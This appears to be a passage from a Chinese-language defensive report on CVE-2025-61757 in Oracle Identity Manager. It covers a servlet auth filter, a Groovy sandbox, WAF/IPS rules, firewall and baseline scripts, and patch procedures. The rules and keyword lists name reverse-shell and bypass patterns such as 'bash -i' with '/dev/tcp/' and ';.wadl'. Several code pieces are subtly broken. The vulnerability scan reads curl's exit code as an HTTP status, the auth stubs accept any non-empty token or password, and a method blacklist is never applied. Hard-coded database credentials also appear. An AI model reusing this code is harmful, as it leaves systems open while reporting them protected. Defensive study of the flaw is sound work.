return userRoles.contains("OIM_ADMIN") ||
userRoles.contains("OIM_GOVERNANCE");
}
if (uri.startsWith("/identity/admin/")) {
return userRoles.contains("OIM_ADMIN");
}
// 默认允许已认证用户访问
return true;
}
/**
* 验证认证令牌
*/
private boolean validateAuthToken(String token) {
// 实现JWT验证或其他令牌验证逻辑
// 这里是简化示例
try {
// 验证token签名和过期时间
// ...
return token != null && token.length() > 0;
} catch (Exception e) {
LOGGER.warning("Token validation failed: " + e.getMessage());
return false;
}
}
/**
* 验证Basic认证
*/
private boolean validateBasicAuth(String credentials) {
try {
String decoded = new String(
java.util.Base64.getDecoder().decode(credentials)
);
String[] parts = decoded.split(":", 2);
if (parts.length == 2) {
return authenticateUser(parts[0], parts[1]);
}
} catch (Exception e) {
LOGGER.warning("Basic auth validation failed: " + e.getMessage());
}
return false;
}
/**
* 用户认证
*/
private boolean authenticateUser(String username, String password) {
// 实现用户认证逻辑 (连接LDAP或数据库)
// 这里是简化示例
return username != null && password != null;
}
/**
* 记录安全事件
*/
private void logSecurityEvent(HttpServletRequest request, String eventType) {
String logEntry = String.format(
"Security Event: %s | URI: %s | IP: %s | Time: %s",
eventType,
request.getRequestURI(),
request.getRemoteAddr(),
new java.util.Date()
);
LOGGER.warning(logEntry);
// 发送到SIEM
// sendToSIEM(logEntry);
}
@Override
public void destroy() {
LOGGER.info("SecureOIMAuthFilter destroyed");
}
}
部署安全过滤器:
<!-- web.xml配置 -->
<filter>
<filter-name>SecureOIMAuthFilter</filter-name>
<filter-class>com.oracle.oim.security.SecureOIMAuthFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>SecureOIMAuthFilter</filter-name>
<url-pattern>/iam/*</url-pattern>
<url-pattern>/identity/*</url-pattern>
</filter-mapping>
<!-- 确保过滤器在其他过滤器之前执行 -->
<filter-mapping>
<filter-name>SecureOIMAuthFilter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
</filter-mapping>
禁用危险的Groovy特性:
// SecureGroovyConfiguration.java
package com.oracle.oim.security;
import groovy.lang.GroovyClassLoader;
import org.codehaus.groovy.control.CompilerConfiguration;
import org.codehaus.groovy.control.customizers.ImportCustomizer;
import org.codehaus.groovy.control.customizers.SecureASTCustomizer;
import org.codehaus.groovy.syntax.Types;
import java.util.Arrays;
import java.util.List;
public class SecureGroovyConfiguration {
public static CompilerConfiguration createSecureConfig() {
CompilerConfiguration config = new CompilerConfiguration();
// 1. 禁用AST转换 (CVE-2025-61757的核心漏洞)
config.setDisabledGlobalASTTransformations(Arrays.asList(
"groovy.transform.ASTTest",
"groovy.transform.ConditionalInterrupt",
"groovy.transform.ThreadInterrupt",
"groovy.transform.TimedInterrupt"
));
// 2. 配置安全AST自定义器
SecureASTCustomizer secureCustomizer = new SecureASTCustomizer();
// 禁止直接调用System/Runtime
secureCustomizer.setImportsBlacklist(Arrays.asList(
"java.lang.Runtime",
"java.lang.ProcessBuilder",
"java.lang.System"
));
// 禁止特定语句类型
secureCustomizer.setStatementsBlacklist(Arrays.asList(
// 禁止while循环 (防DoS)
// Types.WHILE_STATEMENT
));
// 仅允许特定的接收者
secureCustomizer.setReceiversBlacklist(Arrays.asList(
"java.lang.Runtime",
"java.lang.ProcessBuilder",
"java.io.File"
));
// 禁止特定方法调用
List<String> blacklistedMethods = Arrays.asList(
"execute", "exec", "start", // 进程执行
"newInstance", "forName", // 反射
"getClass", "getClassLoader" // 类加载
);
config.addCompilationCustomizers(secureCustomizer);
// 3. 限制导入
ImportCustomizer importCustomizer = new ImportCustomizer();
importCustomizer.addStarImportExclusions(
"java.lang.Runtime",
"java.lang.ProcessBuilder",
"java.io.File",
"java.nio.file.Files",
"groovy.util.Eval"
);
config.addCompilationCustomizers(importCustomizer);
// 4. 禁用脚本基类
config.setScriptBaseClass(null);
return config;
}
/**
* 创建安全的GroovyShell
*/
public static groovy.lang.GroovyShell createSecureShell() {
CompilerConfiguration config = createSecureConfig();
// 使用受限的类加载器
ClassLoader parent = SecureGroovyConfiguration.class.getClassLoader();
GroovyClassLoader classLoader = new GroovyClassLoader(parent, config);
// 创建受限的绑定
groovy.lang.Binding binding = new groovy.lang.Binding();
// 不提供任何危险对象给脚本
return new groovy.lang.GroovyShell(classLoader, binding, config);
}
}
应用Groovy沙箱:
// 修改OIM的Groovy验证端点
@POST
@Path("/groovyscriptstatus")
public Response validateGroovyScript(String scriptContent) {
// 输入验证
if (scriptContent == null || scriptContent.length() > 1000) {
return Response.status(400)
.entity("Invalid script: null or too large")
.build();
}
// 检测黑名单关键字
List<String> blacklist = Arrays.asList(
"@ASTTest", "@groovy.transform",
"Runtime", "ProcessBuilder",
"exec(", "execute(",
"/bin/", "/dev/tcp"
);
for (String blocked : blacklist) {
if (scriptContent.contains(blocked)) {
LOGGER.severe("Blocked malicious script containing: " + blocked);
return Response.status(400)
.entity("Script contains prohibited content: " + blocked)
.build();
}
}
try {
// 使用安全的GroovyShell
GroovyShell shell = SecureGroovyConfiguration.createSecureShell();
// 设置超时
ExecutorService executor = Executors.newSingleThreadExecutor();
Future<Script> future = executor.submit(() -> shell.parse(scriptContent));
try {
// 5秒超时
Script script = future.get(5, TimeUnit.SECONDS);
return Response.ok("Valid script").build();
} catch (TimeoutException e) {
LOGGER.warning("Script compilation timeout");
future.cancel(true);
return Response.status(408).entity("Compilation timeout").build();
}
} catch (SecurityException e) {
LOGGER.severe("Security violation in script: " + e.getMessage());
return Response.status(403)
.entity("Script violates security policy")
.build();
} catch (Exception e) {
LOGGER.severe("Script compilation error: " + e.getMessage());
return Response.status(400)
.entity("Invalid script syntax")
.build();
}
}
ModSecurity规则集:
# /etc/modsecurity/cve-2025-61757.conf
# CVE-2025-61757 防护规则
# 规则1: 阻止路径参数绕过尝试
SecRule REQUEST_URI "@rx .*;\.(wadl|wsdl)" \
"id:202561757001,\
phase:1,\
deny,\
status:403,\
log,\
msg:'CVE-2025-61757: Path parameter bypass attempt blocked',\
logdata:'URI: %{REQUEST_URI}',\
tag:'attack-protocol',\
tag:'CVE-2025-61757',\
severity:'CRITICAL'"
# 规则2: 阻止查询参数绕过
SecRule REQUEST_URI "@rx \\?(WSDL|wsdl)" \
"id:202561757002,\
phase:1,\
deny,\
status:403,\
msg:'CVE-2025-61757: Query parameter bypass attempt blocked'"
# 规则3: 阻止Groovy AST载荷
SecRule REQUEST_BODY "@rx @groovy\.transform\.ASTTest" \
"id:202561757003,\
phase:2,\
deny,\
status:403,\
msg:'CVE-2025-61757: Groovy AST exploit blocked',\
tag:'attack-injection'"
# 规则4: 阻止反向Shell载荷
SecRule REQUEST_BODY "@rx bash\s+-[ic].*?/dev/tcp/" \
"id:202561757004,\
phase:2,\
deny,\
status:403,\
msg:'CVE-2025-61757: Reverse shell payload blocked'"
# 规则5: 限制访问Groovy端点
SecRule REQUEST_URI "@contains groovyscriptstatus" \
"id:202561757005,\
phase:1,\
chain,\
log,\
msg:'Access to Groovy endpoint'"
SecRule REQUEST_HEADERS:Authorization "!@rx ^Bearer\s+" \
"deny,\
status:401,\
msg:'CVE-2025-61757: Groovy endpoint requires authentication'"
# 规则6: 速率限制 (防止扫描)
SecAction \
"id:202561757006,\
phase:1,\
nolog,\
pass,\
initcol:ip=%{REMOTE_ADDR},\
setvar:ip.cve_2025_61757_counter=+1,\
expirevar:ip.cve_2025_61757_counter=60"
SecRule IP:CVE_2025_61757_COUNTER "@gt 10" \
"id:202561757007,\
phase:1,\
deny,\
status:429,\
msg:'CVE-2025-61757: Rate limit exceeded (10 req/min)'"
Nginx反向代理配置:
# /etc/nginx/conf.d/oim-waf.conf
# OIM WAF反向代理
upstream oim_backend {
server 192.168.10.101:14000;
keepalive 32;
}
# 速率限制区域
limit_req_zone $binary_remote_addr zone=oim_limit:10m rate=10r/m;
server {
listen 443 ssl http2;
server_name oim.company.com;
# SSL配置
ssl_certificate /etc/nginx/ssl/oim.crt;
ssl_certificate_key /etc/nginx/ssl/oim.key;
ssl_protocols TLSv1.3 TLSv1.2;
ssl_ciphers HIGH:!aNULL:!MD5;
# ModSecurity WAF
modsecurity on;
modsecurity_rules_file /etc/modsecurity/main.conf;
# 速率限制
limit_req zone=oim_limit burst=20 nodelay;
# 阻止路径参数绕过
location ~ ;\.(wadl|wsdl) {
return 403 "Access Denied: CVE-2025-61757 Protection";
}
# 阻止查询参数绕过
location ~ \?(WSDL|wsdl) {
return 403 "Access Denied: CVE-2025-61757 Protection";
}
# 保护Groovy端点
location ~ /groovyscriptstatus {
# 仅允许内部网络
allow 192.168.10.0/24;
deny all;
# 大小限制
client_max_body_size 1k;
# 禁用缓存
proxy_cache off;
proxy_no_cache 1;
proxy_pass http://oim_backend;
}
# 主要OIM代理
location /iam/ {
# IP白名单 (可选)
# allow 192.168.10.0/24;
# deny all;
# 请求头验证
if ($http_user_agent ~* (python|curl|wget|nikto|scanner)) {
return 403;
}
# 清理潜在的绕过尝试
set $clean_uri $uri;
# Nginx自动规范化URI,移除路径参数
# 安全头
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Strict-Transport-Security "max-age=31536000" always;
# 代理到后端
proxy_pass http://oim_backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# 超时设置
proxy_connect_timeout 10s;
proxy_send_timeout 30s;
proxy_read_timeout 30s;
}
# 日志记录
access_log /var/log/nginx/oim_access.log combined;
error_log /var/log/nginx/oim_error.log warn;
}
推荐的OIM网络架构:
┌──────────────────────────────────────────────────────────┐
│ 分层网络安全架构 │
└──────────────────────────────────────────────────────────┘
互联网
│
│ (HTTPS only)
┌──────────▼──────────┐
│ DMZ - Layer 1 │
│ - WAF/IPS │
│ - 反向代理 │
│ - SSL终止 │
└──────────┬──────────┘
│
防火墙 (Stateful)
规则: 仅443→内部
│
┌──────────▼──────────┐
│ Application - L2 │
│ - OIM服务器 │
│ VLAN 100 │
│ 192.168.100.0/24 │
└──────────┬──────────┘
│
防火墙 (Database)
规则: 仅1521→DB
│
┌──────────▼──────────┐
│ Database - Layer 3 │
│ - Oracle DB │
│ VLAN 200 │
│ 192.168.200.0/24 │
└─────────────────────┘
防火墙规则示例:
# iptables规则 (OIM服务器)
# 清空现有规则
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
# 默认策略: 拒绝所有
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
# 允许回环
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# 允许已建立的连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 允许来自WAF/反向代理的连接 (VLAN 50)
iptables -A INPUT -p tcp -s 192.168.50.10 --dport 14000 -m state --state NEW -j ACCEPT
# 允许到数据库的连接 (VLAN 200)
iptables -A OUTPUT -p tcp -d 192.168.200.10 --dport 1521 -m state --state NEW -j ACCEPT
# 允许DNS
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
# 允许NTP
iptables -A OUTPUT -p udp --dport 123 -j ACCEPT
# 允许管理访问 (SSH from管理网络)
iptables -A INPUT -p tcp -s 192.168.10.0/24 --dport 22 -m state --state NEW -j ACCEPT
# 日志被丢弃的连接
iptables -A INPUT -j LOG --log-prefix "IPT-INPUT-DROP: " --log-level 4
iptables -A OUTPUT -j LOG --log-prefix "IPT-OUTPUT-DROP: " --log-level 4
# 保存规则
iptables-save > /etc/iptables/rules.v4
Suricata IPS配置:
# /etc/suricata/suricata.yaml (摘录)
# 启用IPS模式
af-packet:
- interface: eth0
threads: 4
defrag: yes
cluster-type: cluster_flow
cluster-id: 99
copy-mode: ips
copy-iface: eth1
# 检测引擎设置
detect-engine:
- profile: custom
- custom-values:
toclient-groups: 3
toserver-groups: 25
# CVE-2025-61757规则集
rule-files:
- /etc/suricata/rules/cve-2025-61757.rules
- /etc/suricata/rules/et-emerging-threats.rules
# IPS动作配置
action-order:
- drop
- reject
- alert
- pass
# 自动丢弃CVE-2025-61757攻击
stream:
drop-invalid: yes
bypass: yes
Snort IPS规则 (drop模式):
# /etc/snort/rules/cve-2025-61757-ips.rules
# 规则1: 丢弃路径参数绕过
drop tcp any any -> any 14000 (
msg:"[IPS] CVE-2025-61757 Auth Bypass - DROPPED";
flow:to_server,established;
content:"/iam/governance/"; http_uri;
pcre:"/;\\.wadl/Ui";
sid:2025617580;
rev:1;
)
# 规则2: 重置Groovy RCE连接
reject tcp any any -> any 14000 (
msg:"[IPS] CVE-2025-61757 Groovy RCE - REJECTED";
flow:to_server,established;
content:"groovyscriptstatus"; http_uri;
content:"@groovy.transform"; http_client_body;
sid:2025617581;
rev:1;
)
# 规则3: 阻止反向Shell
drop tcp any any -> any 14000 (
msg:"[IPS] CVE-2025-61757 Reverse Shell - DROPPED";
flow:to_server,established;
content:"bash -i"; http_client_body;
content:"/dev/tcp/"; http_client_body;
distance:0; within:100;
sid:2025617582;
rev:1;
)
建立安全基线脚本:
#!/bin/bash
# oim_baseline.sh
# 建立OIM安全基线
BASELINE_DIR="/var/baseline/oim"
TIMESTAMP=$(date +%Y%m%d)
mkdir -p "$BASELINE_DIR"
echo "[*] 生成OIM安全基线: $TIMESTAMP"
# 1. 文件完整性基线
echo "[*] 计算文件哈希..."
find /u01/app/oracle/middleware/oim \
-type f \( -name "*.jar" -o -name "*.war" -o -name "*.class" \) \
-exec sha256sum {} \; > "$BASELINE_DIR/file_hashes_$TIMESTAMP.txt"
# 2. 配置基线
echo "[*] 导出配置..."
cp -r /u01/app/oracle/config/domains/oim_domain/config \
"$BASELINE_DIR/config_$TIMESTAMP/"
# 3. 用户基线
echo "[*] 导出用户列表..."
sqlplus -s DEV_OIM/Oracle123@OIMDB <<'SQL' > "$BASELINE_DIR/users_$TIMESTAMP.txt"
SET PAGESIZE 0
SET FEEDBACK OFF
SELECT usr_login || ',' || usr_status || ',' || usr_create_date
FROM usr
ORDER BY usr_login;
EXIT;
SQL
# 4. 权限基线
sqlplus -s DEV_OIM/Oracle123@OIMDB <<'SQL' > "$BASELINE_DIR/roles_$TIMESTAMP.txt"
SET PAGESIZE 0
SET FEEDBACK OFF
SELECT u.usr_login || ',' || g.ugp_name
FROM usr u
JOIN ugp m ON u.usr_key = m.ugp_usr_key
JOIN ugp g ON m.ugp_ugp_key = g.ugp_key
ORDER BY u.usr_login, g.ugp_name;
EXIT;
SQL
# 5. 网络连接基线
echo "[*] 记录网络连接..."
netstat -antp | grep "java.*LISTEN" > "$BASELINE_DIR/network_$TIMESTAMP.txt"
# 6. 进程基线
echo "[*] 记录进程树..."
ps auxf | grep -A 50 oracle.iam > "$BASELINE_DIR/processes_$TIMESTAMP.txt"
echo "[+] 基线生成完成: $BASELINE_DIR"
偏差检测脚本:
#!/bin/bash
# oim_deviation.sh
# 检测与基线的偏差
BASELINE_DIR="/var/baseline/oim"
LATEST_BASELINE=$(ls -t $BASELINE_DIR/file_hashes_*.txt | head -1)
if [ ! -f "$LATEST_BASELINE" ]; then
echo "[!] 未找到基线,请先运行 oim_baseline.sh"
exit 1
fi
echo "[*] 使用基线: $LATEST_BASELINE"
echo "[*] 检查偏差..."
# 1. 文件完整性偏差
echo ""
echo "=== 文件完整性偏差 ==="
CURRENT_HASHES="/tmp/current_hashes_$(date +%s).txt"
find /u01/app/oracle/middleware/oim \
-type f \( -name "*.jar" -o -name "*.war" -o -name "*.class" \) \
-exec sha256sum {} \; > "$CURRENT_HASHES"
CHANGED_FILES=$(diff "$LATEST_BASELINE" "$CURRENT_HASHES" | grep "^[<>]" | wc -l)
if [ $CHANGED_FILES -gt 0 ]; then
echo "[!] 发现 $CHANGED_FILES 个文件变更:"
diff "$LATEST_BASELINE" "$CURRENT_HASHES" | grep "^[<>]" | head -20
else
echo "[] 无文件变更"
fi
# 2. 新增用户检测
echo ""
echo "=== 新增用户检测 ==="
LATEST_USERS=$(ls -t $BASELINE_DIR/users_*.txt | head -1)
CURRENT_USERS="/tmp/current_users_$(date +%s).txt"
sqlplus -s DEV_OIM/Oracle123@OIMDB <<'SQL' > "$CURRENT_USERS"
SET PAGESIZE 0
SET FEEDBACK OFF
SELECT usr_login || ',' || usr_status || ',' || usr_create_date
FROM usr
ORDER BY usr_login;
EXIT;
SQL
NEW_USERS=$(diff "$LATEST_USERS" "$CURRENT_USERS" | grep "^>" | wc -l)
if [ $NEW_USERS -gt 0 ]; then
echo "[!] 发现 $NEW_USERS 个新用户:"
diff "$LATEST_USERS" "$CURRENT_USERS" | grep "^>"
else
echo "[] 无新增用户"
fi
# 3. 权限变更检测
echo ""
echo "=== 权限变更检测 ==="
LATEST_ROLES=$(ls -t $BASELINE_DIR/roles_*.txt | head -1)
CURRENT_ROLES="/tmp/current_roles_$(date +%s).txt"
sqlplus -s DEV_OIM/Oracle123@OIMDB <<'SQL' > "$CURRENT_ROLES"
SET PAGESIZE 0
SET FEEDBACK OFF
SELECT u.usr_login || ',' || g.ugp_name
FROM usr u
JOIN ugp m ON u.usr_key = m.ugp_usr_key
JOIN ugp g ON m.ugp_ugp_key = g.ugp_key
ORDER BY u.usr_login, g.ugp_name;
EXIT;
SQL
ROLE_CHANGES=$(diff "$LATEST_ROLES" "$CURRENT_ROLES" | grep "^[<>]" | wc -l)
if [ $ROLE_CHANGES -gt 0 ]; then
echo "[!] 发现 $ROLE_CHANGES 个权限变更:"
diff "$LATEST_ROLES" "$CURRENT_ROLES" | grep "^[<>]" | head -20
else
echo "[] 无权限变更"
fi
# 清理临时文件
rm -f "$CURRENT_HASHES" "$CURRENT_USERS" "$CURRENT_ROLES"
echo ""
echo "[*] 偏差检测完成"
自动化漏洞扫描 (cron):
# /etc/cron.d/oim-security-scan
# 每日漏洞扫描 (凌晨2点)
0 2 * * * root /usr/local/bin/oim_vulnerability_scan.sh >> /var/log/oim_scan.log 2>&1
# 每小时偏差检测
0 * * * * root /usr/local/bin/oim_deviation.sh >> /var/log/oim_deviation.log 2>&1
# 每15分钟日志分析
*/15 * * * * root /usr/local/bin/analyze_oim_logs.sh >> /var/log/oim_analysis.log 2>&1
漏洞扫描脚本:
#!/bin/bash
# oim_vulnerability_scan.sh
echo "=========================================="
echo "OIM漏洞扫描: $(date)"
echo "=========================================="
# 1. CVE-2025-61757检测
echo ""
echo "[+] 检测CVE-2025-61757..."
curl -s -o /dev/null -w "%{http_code}" \
"http://localhost:14000/iam/governance/applicationmanagement/templates;.wadl"
STATUS=$?
if [ "$STATUS" = "200" ] || [ "$STATUS" = "404" ]; then
echo "[!!] 警告: 系统仍易受CVE-2025-61757攻击! (状态码: $STATUS)"
echo "[!!] 立即应用补丁35643593!"
elif [ "$STATUS" = "401" ]; then
echo "[] CVE-2025-61757已修补"
else
echo "[?] 未知状态: $STATUS"
fi
# 2. SSL/TLS配置检查
echo ""
echo "[+] 检查SSL/TLS配置..."
sslscan localhost:14000 2>&1 | grep -E "SSLv|TLSv"
# 3. 弱密码检查 (数据库)
echo ""
echo "[+] 检查默认/弱密码..."
# 这里简化示例,实际应使用密码策略检查
# 4. 未打补丁检查
echo ""
echo "[+] 检查已安装补丁..."
cd /u01/app/oracle/middleware/OPatch
./opatch lspatches | grep "35643593"
if [ $? -eq 0 ]; then
echo "[] CVE-2025-61757补丁已安装"
else
echo "[!!] 警告: CVE-2025-61757补丁未安装!"
fi
echo ""
echo "=========================================="
echo "扫描完成: $(date)"
echo "=========================================="
第11章总结:
本章提供了CVE-2025-61757的全面防护措施,包括:
应急响应 (短期):
网络隔离和流量监控
取证数据收集
威胁遏制和攻击终止
配置加固 (中期):
安全的Servlet认证过滤器实现
Groovy沙箱配置,禁用AST转换
WAF规则部署 (ModSecurity + Nginx)
网络层防护 (长期):
多层网络分段架构
IPS主动阻断 (Suricata/Snort)
细粒度防火墙规则
持续监控:
安全基线建立和偏差检测
定期自动化漏洞扫描
实时告警和响应
关键防护原则:
纵深防御: 多层安全控制
最小权限: 严格访问控制
持续监控: 实时威胁检测
快速响应: 自动化应急流程
本章节提供CVE-2025-61757的完整修复建议,包括补丁应用流程、验证方法、回退计划和长期补丁管理策略。
Oracle在2025年10月关键补丁更新(CPU)中发布了针对CVE-2025-61757的官方补丁:
补丁编号:
| OIM版本 | 补丁编号 | 补丁大小 | 发布日期 |
|---|---|---|---|
| 12.2.1.4.0 | 35643593 | ~450 MB | 2025-10-21 |
| 14.1.2.1.0 | 35643594 | ~520 MB | 2025-10-21 |
补丁下载地址:
Oracle Support Portal: https://support.oracle.com
My Oracle Support (MOS) Document: 2025年10月关键补丁更新
需要有效的Oracle支持账户和许可证
补丁先决条件:
# 检查当前OIM版本
cd $ORACLE_HOME/oim/server/bin
./getVersion.sh
# 输出示例:
# Oracle Identity Manager version: 12.2.1.4.0
# Build: 201224.1809
# 检查已安装的补丁
cd $ORACLE_HOME/OPatch
./opatch lspatches
# 检查补丁冲突
./opatch prereq CheckConflictAgainstOHWithDetail -ph /staging/patches/35643593
根据Oracle安全公告,补丁35643593/35643594主要修复:
认证过滤器改进:
修复shouldBypassAuth()方法的URI匹配逻辑
实现URI规范化(移除路径参数和查询字符串)
将contains()改为endsWith()进行严格路径匹配
Groovy脚本验证端点加固:
添加认证检查到groovyscriptstatus端点
禁用危险的AST转换注解
实施Groovy脚本沙箱
REST API安全增强:
所有REST端点默认需要认证
移除过宽的元数据端点豁免
添加请求验证和速率限制
步骤1: 环境评估
#!/bin/bash
# oim_patch_readiness.sh - 补丁准备检查脚本
echo "=== CVE-2025-61757 补丁准备检查 ==="
echo ""
# 1. 检查磁盘空间 (至少需要5GB)
echo "[1] 检查磁盘空间..."
AVAILABLE_SPACE=$(df -BG $ORACLE_HOME | tail -1 | awk '{print $4}' | sed 's/G//')
if [ $AVAILABLE_SPACE -lt 5 ]; then
echo " [FAIL] 可用空间不足: ${AVAILABLE_SPACE}GB (需要至少5GB)"
exit 1
else
echo " [PASS] 可用空间: ${AVAILABLE_SPACE}GB"
fi
# 2. 检查OIM版本
echo "[2] 检查OIM版本..."
cd $ORACLE_HOME/oim/server/bin
VERSION=$(./getVersion.sh | grep "Oracle Identity Manager version" | awk '{print $5}')
if [[ "$VERSION" == "12.2.1.4.0" || "$VERSION" == "14.1.2.1.0" ]]; then
echo " [PASS] OIM版本: $VERSION (受CVE-2025-61757影响)"
else
echo " [INFO] OIM版本: $VERSION (请确认是否需要补丁)"
fi
# 3. 检查OPatch版本
echo "[3] 检查OPatch版本..."
cd $ORACLE_HOME/OPatch
OPATCH_VERSION=$(./opatch version | head -1 | awk '{print $3}')
echo " [INFO] OPatch版本: $OPATCH_VERSION"
# 4. 检查当前补丁
echo "[4] 检查已安装补丁..."
./opatch lspatches | head -5
# 5. 检查OIM服务状态
echo "[5] 检查OIM服务状态..."
ps -ef | grep -i "Dweblogic.Name=oim_server" | grep -v grep > /dev/null
if [ $? -eq 0 ]; then
echo " [INFO] OIM服务正在运行 (补丁前需要停止)"
else
echo " [INFO] OIM服务已停止"
fi
# 6. 检查数据库连接
echo "[6] 检查数据库连接..."
# 从OIM配置文件读取数据库连接信息
DB_CONNECT=$(grep -r "jdbc:oracle:thin" $DOMAIN_HOME/config/fmwconfig/ 2>/dev/null | head -1)
if [ -n "$DB_CONNECT" ]; then
echo " [PASS] 找到数据库配置"
else
echo " [WARN] 未找到数据库配置"
fi
echo ""
echo "=== 准备检查完成 ==="
步骤2: 完整备份
#!/bin/bash
# oim_backup_before_patch.sh - 补丁前完整备份
BACKUP_DATE=$(date +%Y%m%d_%H%M%S)
BACKUP_DIR="/backup/oim_pre_patch_${BACKUP_DATE}"
echo "开始补丁前备份到: $BACKUP_DIR"
mkdir -p $BACKUP_DIR
# 1. 备份Oracle Home
echo "[1/5] 备份Oracle Home..."
tar -czf ${BACKUP_DIR}/oracle_home.tar.gz \
-C $(dirname $ORACLE_HOME) \
$(basename $ORACLE_HOME) \
--exclude='*.log' \
--exclude='*/logs/*' \
--exclude='*/diagnostics/*'
echo " 完成: $(du -h ${BACKUP_DIR}/oracle_home.tar.gz | cut -f1)"
# 2. 备份WebLogic Domain
echo "[2/5] 备份WebLogic Domain..."
tar -czf ${BACKUP_DIR}/weblogic_domain.tar.gz \
-C $(dirname $DOMAIN_HOME) \
$(basename $DOMAIN_HOME) \
--exclude='*/servers/*/logs/*' \
--exclude='*/servers/*/tmp/*' \
--exclude='*/servers/*/cache/*'
echo " 完成: $(du -h ${BACKUP_DIR}/weblogic_domain.tar.gz | cut -f1)"
# 3. 导出OIM数据库模式
echo "[3/5] 导出OIM数据库..."
# 替换为实际的数据库连接信息
exp DEV_OIM/Oracle123@OIMDB \
file=${BACKUP_DIR}/oim_schema.dmp \
log=${BACKUP_DIR}/oim_export.log \
owner=DEV_OIM \
statistics=none
echo " 完成: $(du -h ${BACKUP_DIR}/oim_schema.dmp | cut -f1)"
# 4. 备份补丁清单
echo "[4/5] 备份补丁清单..."
cd $ORACLE_HOME/OPatch
./opatch lspatches > ${BACKUP_DIR}/patches_before.txt
./opatch lsinventory > ${BACKUP_DIR}/inventory_before.txt
# 5. 备份关键配置文件
echo "[5/5] 备份配置文件..."
mkdir -p ${BACKUP_DIR}/configs
cp $DOMAIN_HOME/config/config.xml ${BACKUP_DIR}/configs/
cp $DOMAIN_HOME/bin/setDomainEnv.sh ${BACKUP_DIR}/configs/
cp -r $DOMAIN_HOME/config/fmwconfig ${BACKUP_DIR}/configs/
# 生成备份清单
echo "=== 备份清单 ===" > ${BACKUP_DIR}/BACKUP_MANIFEST.txt
echo "备份日期: $BACKUP_DATE" >> ${BACKUP_DIR}/BACKUP_MANIFEST.txt
echo "OIM版本: $VERSION" >> ${BACKUP_DIR}/BACKUP_MANIFEST.txt
echo "" >> ${BACKUP_DIR}/BACKUP_MANIFEST.txt
ls -lh ${BACKUP_DIR}/ >> ${BACKUP_DIR}/BACKUP_MANIFEST.txt
echo ""
echo "备份完成! 位置: $BACKUP_DIR"
echo "总大小: $(du -sh $BACKUP_DIR | cut -f1)"
步骤1: 下载并解压补丁
# 1. 创建补丁暂存目录
mkdir -p /staging/patches
cd /staging/patches
# 2. 从Oracle Support下载补丁
# (需要手动下载或使用wget with credentials)
# wget --http-user=YOUR_MOS_USER --http-password=YOUR_MOS_PASS \
# https://updates.oracle.com/download/35643593.zip
# 3. 解压补丁
unzip p35643593_122140_Generic.zip -d 35643593
cd 35643593
# 4. 验证补丁完整性
ls -la
# 应该看到:
# - README.txt (补丁说明)
# - etc/ (元数据)
# - files/ (补丁文件)
步骤2: 停止OIM服务
#!/bin/bash
# stop_oim_for_patch.sh
echo "停止OIM服务以应用补丁..."
# 1. 停止OIM Managed Server
echo "[1/3] 停止OIM Server..."
cd $DOMAIN_HOME/bin
./stopManagedWebLogic.sh oim_server1
# 等待进程完全停止
sleep 30
# 强制杀死残留进程(如果需要)
ps -ef | grep "Dweblogic.Name=oim_server1" | grep -v grep | awk '{print $2}' | xargs -r kill -9
# 2. 停止SOA Server (如果有)
echo "[2/3] 停止SOA Server..."
./stopManagedWebLogic.sh soa_server1
sleep 30
# 3. 停止Admin Server
echo "[3/3] 停止Admin Server..."
./stopWebLogic.sh
# 验证所有服务已停止
sleep 10
ps -ef | grep "weblogic" | grep -v grep
if [ $? -eq 0 ]; then
echo "[WARN] 仍有WebLogic进程运行,请手动检查"
else
echo "[OK] 所有WebLogic服务已停止"
fi
步骤3: 应用补丁
#!/bin/bash
# apply_cve_2025_61757_patch.sh
PATCH_DIR="/staging/patches/35643593"
LOG_DIR="/var/log/oim_patching"
mkdir -p $LOG_DIR
echo "=== 应用CVE-2025-61757补丁 ==="
echo "补丁目录: $PATCH_DIR"
echo "日志目录: $LOG_DIR"
echo ""
# 1. 验证补丁先决条件
echo "[1/4] 验证补丁先决条件..."
cd $ORACLE_HOME/OPatch
./opatch prereq CheckConflictAgainstOHWithDetail -ph $PATCH_DIR \
> ${LOG_DIR}/prereq_check.log 2>&1
if [ $? -ne 0 ]; then
echo "[ERROR] 先决条件检查失败,请查看: ${LOG_DIR}/prereq_check.log"
exit 1
fi
echo " [PASS] 先决条件检查通过"
# 2. 检查补丁适用性
echo "[2/4] 检查补丁适用性..."
./opatch query -all $PATCH_DIR > ${LOG_DIR}/patch_query.log 2>&1
echo " 补丁信息已保存到: ${LOG_DIR}/patch_query.log"
# 3. 应用补丁 (静默模式)
echo "[3/4] 应用补丁 (此过程可能需要10-20分钟)..."
./opatch apply $PATCH_DIR -silent \
> ${LOG_DIR}/patch_apply.log 2>&1
if [ $? -ne 0 ]; then
echo "[ERROR] 补丁应用失败! 日志: ${LOG_DIR}/patch_apply.log"
echo "建议:"
echo " 1. 检查错误日志"
echo " 2. 回滚补丁: opatch rollback -id 35643593"
echo " 3. 从备份恢复"
exit 1
fi
echo " [PASS] 补丁应用成功"
# 4. 验证补丁安装
echo "[4/4] 验证补丁安装..."
./opatch lspatches | grep 35643593
if [ $? -eq 0 ]; then
echo " [PASS] 补丁35643593已安装"
else
echo " [ERROR] 补丁验证失败"
exit 1
fi
# 生成补丁后清单
./opatch lsinventory > ${LOG_DIR}/inventory_after_patch.txt
echo ""
echo "=== 补丁应用完成 ==="
echo "日志位置: $LOG_DIR"
步骤4: 清理缓存并重启
#!/bin/bash
# restart_oim_after_patch.sh
echo "=== 补丁后重启OIM ==="
# 1. 清理服务器缓存
echo "[1/4] 清理服务器缓存..."
for SERVER in AdminServer oim_server1 soa_server1; do
if [ -d "$DOMAIN_HOME/servers/$SERVER" ]; then
